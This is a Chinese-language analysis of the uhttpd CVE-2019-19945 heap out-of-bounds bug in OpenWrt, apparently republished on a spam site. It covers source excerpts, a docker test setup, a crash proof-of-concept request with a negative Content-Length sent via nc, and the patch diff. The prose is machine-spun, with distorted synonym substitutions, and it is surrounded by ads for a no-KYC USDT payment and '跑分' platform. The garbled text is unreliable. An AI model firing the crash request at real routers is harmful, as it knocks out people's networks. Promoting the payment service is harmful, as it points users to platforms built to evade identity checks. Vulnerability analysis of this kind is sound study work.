USDT第三方支付

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

概述

OpenWrt/LEDE是一个为嵌入式装备(通常是无线路由器)开发的高扩展度的GNU/Linux发行版。与许多其他路由器的发行版差别,OpenWrt是一个完全为嵌入式装备构建的功效周全、易于修改的由现代Linux内核驱动的操作系统。OpenWrt不是一个单一且不可更改的固件,而是提供了一个完全可写的文件系统及软件包治理。这使您可以不使用供应商提供的应用程序选择和设置,而是通过使用软件包来定制装备以顺应任何应用程序。

uhttpdOpenWrt上默认使用的、轻量级的响应http申请的web服务器。

CVE-2019-19945可能导致对堆缓冲区越界接见,进而导致溃逃。

在真实测试中,发现本破绽影响局限与官方形貌略有不符,实测发现影响局限为Openwrt18.06.4及之前版本,在18.06.5版本修复。

获取源码

凭据官方commit信息,可使用以下地址下载一份含破绽的源码版本和一份不带破绽版本的源码

带破绽版本uhttpd源码下载链接

不带破绽版本uhttpd源码下载链接

破绽剖析

凭据官方泄露的信息,破绽存在于client.c中。

这个破绽的剖析可以从client.c中的uh_client_read_cb函数更先剖析

static read_cb_t read_cbs[] = {
    [CLIENT_STATE_INIT] = client_init_cb,
    [CLIENT_STATE_HEADER] = client_header_cb,
    [CLIENT_STATE_DATA] = client_data_cb,
};

void uh_client_read_cb(struct client *cl)
{
    .......
        str = ustream_get_read_buf(us, &len);
    .......
        if (!read_cbs[cl->state](cl, str, len)) {
    .......
}

使用ustream_get_read_buf获取用户提交的web数据后,凭据数据的类型从read_cbs 中选取差别数据处置函数来处置。

实在每个包都市依次挪用client_init_cb,client_header_cb,client_data_cb来举行处置,分别是针对请求数据的request line,header头部以及data数据段举行处置。

其中client_init_cb是对request line举行处置,取出 URL等详细信息,此处我们不关注。

我们首先据头的处置函数client_header_cb

static bool client_header_cb(struct client *cl, char *buf, int len)
{
    ......
    client_parse_header(cl, buf);
    ......
}

client_header_cb会挪用client_parse_header这个函数来进一步处置,获取header中的content-length,user-agent等信息

static void client_parse_header(struct client *cl, char *data)
{
    struct http_request *r = &cl->request;
    char *err;
    char *name;
    char *val;
    ......
    } else if (!strcmp(data, "content-length")) {
        r->content_length = strtoul(val, &err, 0);
        if (err && *err) {
            uh_header_error(cl, 400, "Bad Request");
            return;
        }   
    ......
    blobmsg_add_string(&cl->hdr, data, val);

    cl->state = CLIENT_STATE_HEADER;
}

需要注重的是,此处从header中取content-length的历程,通过strtoul取出来的一个无符号长整型,然后赋值给r->content_length,此处r->content_length的类型参考数据结构http_request

struct http_request {
    enum http_method method;
    enum http_version version;
    enum http_user_agent ua;
    int redirect_status;
    int content_length;
    bool expect_cont;
    bool connection_close;
    bool disable_chunked;
    uint8_t transfer_chunked;
    const struct auth_realm *realm;
};

其中content_length 的数据类型是int,此处在数据格式由无符号长整型转为整型时存在问题,有可能最终获得content-length为负数。我们需要记着此处,然后继续向下剖析

直到针对数据段举行处置的函数client_data_cb

static bool client_data_cb(struct client *cl, char *buf, int len)
{
    client_poll_post_data(cl);
    return false;
}

继续向下追溯client_poll_post_data

,

usdt收款平台

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
void client_poll_post_data(struct client *cl)
{
    ......
    while (1) {
        ......
        buf = ustream_get_read_buf(cl->us, &len);
        ......
        cur_len = min(r->content_length, len);
        if (cur_len) {
            if (d->data_blocked)
                break;

            if (d->data_send)
                cur_len = d->data_send(cl, buf, cur_len);

            r->content_length -= cur_len;
            ustream_consume(cl->us, cur_len);
            continue;
        }

        if (!r->transfer_chunked)
            break;

        if (r->transfer_chunked > 1)
            offset = 2;

        sep = strstr(buf + offset, "\r\n");
        ......
}

r->content_length为负数时,cur_len被赋值为r->content_length

然后被传递给函数ustream_consume

void ustream_consume(struct ustream *s, int len)
{
    ......
    do {
        struct ustream_buf *next = buf->next;
        int buf_len = buf->tail - buf->data;

        if (len < buf_len) {
            buf->data += len;
            break;
        }

        len -= buf_len;
        ustream_free_buf(&s->r, buf);
        buf = next;
    } while(len);

    ......
}

由于传入的len为负数,以是buf->data有可能被置为负数,回到函数client_poll_post_data后继续运行至下一次迭代,首先会挪用函数ustream_get_read_buf

char *ustream_get_read_buf(struct ustream *s, int *buflen)
{
    char *data = NULL;
    int len = 0;

    if (s->r.head) {
        len = s->r.head->tail - s->r.head->data;
        if (len > 0)
            data = s->r.head->data;
    }

    if (buflen)
        *buflen = len;

    return data;
}

由于前期操作s->r.head->data被置为负数,因此此处返回值data有可能为负数

再回到函数client_poll_post_data, if条件均可组织条件绕过,当运行至 sep = strstr(buf + offset, "\r\n");这一行时,buf + offset 有可能为负数,把这个负数作为指针来举行索引时,便会造成溃逃。

环境测试

据官方通告, 18.06.5及之前版本受影响,18.06.6版本修复。然则在我的现实测试中,发现是18.06.4版本及之前受影响,18.06.5版本修复。

因此在本文剖析中,基于18.06.418.06.5开展测试。

openwrt官方提供编译好的文件系统下载,使用docker获取18.06.418.06.5镜像:

sudo docker import  https://archive.openwrt.org/releases/18.06.4/targets/x86/generic/openwrt-18.06.4-x86-generic-generic-rootfs.tar.gz openwrt-x86-generic-18.06.4-rootfsq
sudo docker import  https://archive.openwrt.org/releases/18.06.5/targets/x86/generic/openwrt-18.06.5-x86-generic-generic-rootfs.tar.gz openwrt-x86-generic-18.06.5-rootfsq

使用docker建立18.06.4容器:

sudo docker run -it --privileged -p 8001:8001 openwrt-x86-generic-18.06.4-rootfsq /bin/ash

搭建uhttpd测试环境:

/ , mkdir webroot
/ , mkdir webroot
/ , rm -rf webroot/
/ , mkdir /webroot
/ , mkdir /webroot/URLprefix
/ , touch /webroot/URLprefix/webfile
/ , chmod +x /webroot/URLprefix/webfile
/ , uhttpd -f -p 0.0.0.0:8001 -x /URLprefix -h /webroot

查看crash.poc

/ , cat crash.poc
POST /cgi-bin/luci HTTP/1.0
Transfer-Encoding: chunked
Content-Length: -100000

docker宿主机发送poc

nc 127.0.0.1 8001 < ./crash1.poc

在容器中可以看到uhttpd被触发溃逃:

/ , uhttpd -f -p 0.0.0.0:8001 -x /URLprefix -h /webroot
Segmentation fault (core dumped)

同样的方式在18.06.5测试,发现不会溃逃,证实在18.06.5中破绽已经修复。

补丁剖析

$ diff vuln/uhttpd-6b03f96-Vuln/client.c notVuln/uhttpd-5f9ae57-Vuln/client.c
349c349
<               if (err && *err) {
---
>               if ((err && *err) || r->content_length < 0) {
447c447
<               if (sep && *sep) {
---
>               if ((sep && *sep) || r->content_length < 0) {

打开源码可以更清晰的看到修复情形:

void client_poll_post_data(struct client *cl)
{       
        ......
        if ((sep && *sep) || r->content_length < 0) {
            r->content_length = 0;
            r->transfer_chunked = 0;
            break;
        }
        ......
}

修补方式是直接检测用户提交的content_length参数是否小于0,因而避免了后续的问题。

总结

破绽挖掘历程中,差别数据类型的赋值转换历程也是一个值得关注的点。

另外在现实的环境测试中,考虑到编译庞大,以是设计使用官方编译好的文件系统来举行测试,恰好openwrt提供文件系统以及内核下载,最更先实验使用binwalk解开固件包,使用chroot的方式运行起来uhttpd,然则一直报一个莫名其妙的错误,导致uhttpd无法乐成运行;然后考虑到既然提供了文件系统和内核,以是设计使用qemu来运行,然则在测试中也没有乐成运行起来,推断应该是在openwrt启动历程中没有找到诸多硬件依赖的问题;最后有时在网上看到了docker的方式,最更先使用了dockerhub中的镜像,也没有乐成运行,问题也是出在找不到一些硬件依赖无法启动,最后采用了文中的方式,测试起来确实省时省力的。

这个破绽的效果基本上照样溃逃,调试成RCE之类照样不太现实的,然则在调试历程照样对照耐人寻味的,也对uhttpd框架更熟悉了一些。

USDT官网接口声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt不用实名(www.caibao.it):uhttpd CVE-2019-19945破绽剖析
发布评论

分享到:

usdt自动充提教程网(www.6allbet.com):26岁小伙查出胃癌晚期!医生:都是由于这些坏习惯…
1 条回复
  1. 卡利充值
    卡利充值
    (2021-03-25 00:01:30) 1#

    Usdt第三方支付平台不负众望啊

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。